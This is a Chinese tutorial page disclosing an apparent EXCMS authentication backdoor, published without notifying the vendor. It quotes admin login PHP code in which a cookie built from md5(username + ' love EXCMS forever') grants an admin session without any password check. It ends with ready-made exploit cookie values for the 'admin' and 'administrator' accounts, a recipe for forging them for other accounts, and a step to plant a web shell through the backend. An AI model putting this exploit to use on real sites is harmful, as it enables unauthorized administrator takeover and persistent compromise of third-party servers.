EXCMS 0day (过程精彩)_漏洞分析教程-查字典教程网
EXCMS 0day (过程精彩)
EXCMS 0day (过程精彩)
发布时间:2016-12-21 来源:查字典编辑
摘要:以下版本没测试测试的是最新版本在公布前几小时没有通知官方^_^哈哈为什么说过程精彩呢?看完就明白!因为这个漏洞原因非一般!同时映射出中国软件...

以下版本没测试 测试的是最新版本

在公布前几小时没有通知官方 ^_^ 哈哈

为什么说过程精彩呢? 看完就明白!

因为这个漏洞原因非一般! 同时映射出中国软件行业的悲哀!!!

经典对白 看代码

后台登录文件

adminModulesAuthIndex.php

if ( defined( "EXCMS" ) ) //在admin/index.php里有了 下面文件都是包含运行方式的

{

}

if ( !defined( "EXCMS_ADMIN" ) )

{

exit( "Access Denied" );

}

$excms_action['title'] = "登录"; //标题

$forward = $_GET['forward']; //登录后转跳的地方

$verifycode = $EXCMS_CONFIG['login_verifycode']; //验证码。。。

if ( $_POST['loginType'] != 1 && !empty( $_COOKIE['EXCMSADMIN'] ) )

//迈下伏笔了!

{

$defaultBoxDisplay = "none";

$BoxDisplay = "";

$remeberInfo = explode( "&", $_COOKIE['EXCMSADMIN'] );

//看到这里没? 神奇把?

$remeberAdmin = $remeberInfo[0];

$remeberPwd = $remeberInfo[1];

//账号密码获取了(COOKIES方式?) 看下去将会发生的事情很惊天地!

$pwdForever = strtoupper( md5( $remeberAdmin." love EXCMS forever" ) );

//这就是中国特色! 作者 你知道良心2个字什么写吗? 你知道什么叫道德吗?

$remeberPwd = $remeberPwd == $pwdForever ? true : false;

$loginInputDispay = $remeberPwd ? "none" : "";

$loginType = $remeberPwd ? 3 : 2;

}

else

{

$defaultBoxDisplay = "";

$BoxDisplay = "none";

$loginInputDispay = "none";

$loginType = 1;

}

//下面是输出登录界面的

然后是CheckLogin.php 验证登录文件

经典对白 看代码!

if ( defined( "EXCMS" ) )//index.php有了

{

}

if ( !defined( "EXCMS_ADMIN" ) )

{

exit( "Access Denied" );

}

$excms_action['loadtpl'] = true;

$adminname = trim( $param['adminname'] );

$password = trim( $param['loginType'] == 2 ? $param['password1'] : $param['password'] );

$rememberPwd = $param['loginType'] == 2 ? $param['savePwd'] : $param['rememberPwd'];

$forward = $param['forward'];

$login_fail = true;

$error = "";

//以上东西不用理 $param都是POST方式的

if ( empty( $adminname ) )

//检测账户是否为空

{

$error = getlangbyname( "EMPTY_ADMINNAME" );

}

else if ( $param['loginType'] != 3 && empty( $password ) )

//检测这个什么东西 可能是步骤把 是否第3步和密码是否是空

{

$error = getlangbyname( "EMPTY_PASSWORD" );

}

else

{

if ( $param['loginType'] == 3 )

{

//以下内容绝非因失误做成的漏洞 以这个程序编写技术 没可能这样 可以找任何PHP高手鉴证

$remeberInfo = explode( "&", $_COOKIE['EXCMSADMIN'] );

$remeberAdmin = $remeberInfo[0];

$remeberPwd = $remeberInfo[1];

//账号密码从COOKIES里获取!

$pwdForever = strtoupper( md5( $adminname." love EXCMS forever" ) );

if ( $remeberPwd == $pwdForever )

//COOKIES里的账号加密过程 比ESPCMS还简单~~

{

include_once( LIB_PATH."system/Admin.class.php" );

$admin_obj = new Admin( );

$admin = $admin_obj->getByAdminname( $adminname );

//悲剧! 只验证了管理员账号 没有验证密码!!!

if ( $admin )

{

$admin['acl'] = $admin_obj->getAdminACL( $admin['adminid'] );

$_SESSION['admininfo'] = $admin;

//获得管理员权限了!!!!!!!!!

++$_SESSION['admininfo']['logintimes'];

$admin_obj->updateLastLogin( $admin['adminid'] );

include_once( LIB_PATH."auth/Auth.class.php" );

$auth = new Auth( );

$auth->checkMenu( true );

$excms_action['loadtpl'] = false;

$login_fail = false;

}

}

}

else

//跳过没有COKIES 下面就是真正的验证登录状态 请注意 是有验证密码的!

{

if ( $EXCMS['config']['login_verifycode'] )

{

$param['verifycode'] = trim( $param['verifycode'] );

if ( $param['verifycode'] == "" )

{

$error = getlangbyname( "EMPTY_VERIFYCODE" );

}

else

{

include_once( LIB_PATH."util/CheckCode.class.php" );

$checkcode = new CheckCode( );

if ( !$checkcode->check( $param['verifycode'] ) )

{

$error = getlangbyname( "VERIFYCODE_FAILED" );

}

}

}

if ( empty( $error ) )

{

include_once( LIB_PATH."auth/Auth.class.php" );

$auth = new Auth( );

$loginMsg = $auth->Login( $adminname, $password );

if ( $loginMsg['success'] )

{

$_SESSION['admininfo'] = $loginMsg['admininfo'];

++$_SESSION['admininfo']['logintimes'];

$auth->checkMenu( true );

if ( $rememberPwd == 1 )

{

$pwdForever = strtoupper( md5( $adminname." love EXCMS forever" ) );

setcookie( "EXCMSADMIN", $adminname."&".$pwdForever, time( ) + 2592000 );

}

else if ( $param['loginType'] != 2 && $param['rememberMe'] == 1 )

{

setcookie( "EXCMSADMIN", $adminname, time( ) + 2592000 );

}

$login_fail = false;

$excms_action['loadtpl'] = false;

}

else

{

$error = getlangbyname( $loginMsg['message'] );

}

}

}

}

if ( !$login_fail )

{

if ( empty( $forward ) || strpos( $forward, "index.php?M=Auth" ) )

{

header( "Location:index.php", true );

exit( );

}

header( "Location:".$forward, true );

exit( );

}

$errorCls = "f";

if ( $excms_action['loadtpl'] )

{

if ( !$error )

{

$error = getlangbyname( "LOGIN_FAILED" );

}

require( MODULES_PATH."Auth/Index.php" );

}

?>

//分析完毕

最后给出EXP

EXCMSADMIN=admin%26858A611C5651AC436D4450CE23A858D1;

EXCMSADMIN=administrator%263E0331271F1133F9613BD49E7C4FB0CD;

第1个是admin

第2个是administrator 一般 就这2个 其他账号的话请自行结构

结构方法 setcookie( "EXCMSADMIN", md5( 账号." love EXCMS forever" ) );

然后 strtoupper一次 就是把字母都变大写

修改COOKIES 直接进入后台 然后自定义页面 写入网马

后语 这个COOKIES“漏洞”并非是记住管理登录状态

记住管理登录的COOKIES是 SESSION ID 验证这个

所以这个漏洞100%是作者留下的后门!

相关阅读
推荐文章
猜你喜欢
附近的人在看
推荐阅读
拓展阅读
  • 大家都在看
  • 小编推荐
  • 猜你喜欢
  • 最新漏洞分析学习
    热门漏洞分析学习
    网络安全子分类